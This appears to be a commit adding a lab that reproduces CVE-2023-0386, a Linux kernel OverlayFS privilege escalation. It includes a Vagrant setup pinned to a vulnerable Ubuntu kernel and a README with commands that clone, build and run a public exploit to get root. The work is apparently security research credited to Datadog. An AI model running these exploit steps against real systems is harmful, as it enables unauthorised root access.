Add CVE-2023-0386 reproduction

proof-of-concept-exploits/overlayfs-cve-2023-0386/.gitignore

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+.vagrant

proof-of-concept-exploits/overlayfs-cve-2023-0386/README.md

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+# CVE-2023-0386
+
+This folder contains a virtual machine and instructions to reproduce [CVE-2023-0386](https://nvd.nist.gov/vuln/detail/CVE-2023-0386), a vulnerability in the Linux kernel’s OverlayFS subsystem that allows an unprivileged user to escalate their privileges to root.
+
+## How to reproduce
+
+* Start the virtual machine (based on Ubuntu 22.04.1, kernel 5.15.0-57-generic):
+
+```
+vagrant up
+```
+
+* SSH to the machine as an unprivileged user:
+
+```
+vagrant ssh --command "sudo su john -c 'cd; bash'"
+```
+
+```bash
+john@ubuntu-jammy:~$ id
+uid=1002(john) gid=1002(john) groups=1002(john)
+```
+
+* Clone and compile the [proof of concept repository](https://github.com/xkaneiki/CVE-2023-0386/)
+
+```
+git clone https://github.com/xkaneiki/CVE-2023-0386.git
+cd CVE-2023-0386
+git checkout c4c65cefca1365c807c397e953d048506f3de195
+make all
+```
+
+* Run the following commands to exploit the vulnerability and escalate to root:
+
+```
+./fuse ./ovlcap/lower ./gc >/dev/null 2>&1 &
+./exp
+```
+
+![](./screenshot.png)
+
+## Credits
+
+Proof-of-concept: https://github.com/xkaneiki/CVE-2023-0386/
+Reproduction for Datadog: Ryan Simon

proof-of-concept-exploits/overlayfs-cve-2023-0386/Vagrantfile

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+Vagrant.configure("2") do |config|
+  config.vm.box="ubuntu-22.04-vulnerable"
+  config.vm.box_url = "https://cloud-images.ubuntu.com/releases/22.04/release-20230107/ubuntu-22.04-server-cloudimg-amd64-vagrant.box"
+  config.vm.box_download_checksum = "f37c8dbda2d712ffb6242b7b9d88058298caf3a860ae29620de1cd4d02b59a9a"
+  config.vm.box_download_checksum_type = "sha256"
+
+  # Disable the default synced folder
+  config.vm.synced_folder '.', '/vagrant', disabled: true
+
+  config.vm.provision "shell", path: "provision.sh"
+end

proof-of-concept-exploits/overlayfs-cve-2023-0386/provision.sh

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+#!/bin/bash
+
+# Pre-requisites
+sudo apt update
+sudo apt-get install -y make gcc libfuse-dev libcap-dev
+
+
+# Underprivileged user
+sudo useradd john --create-home --shell /bin/bash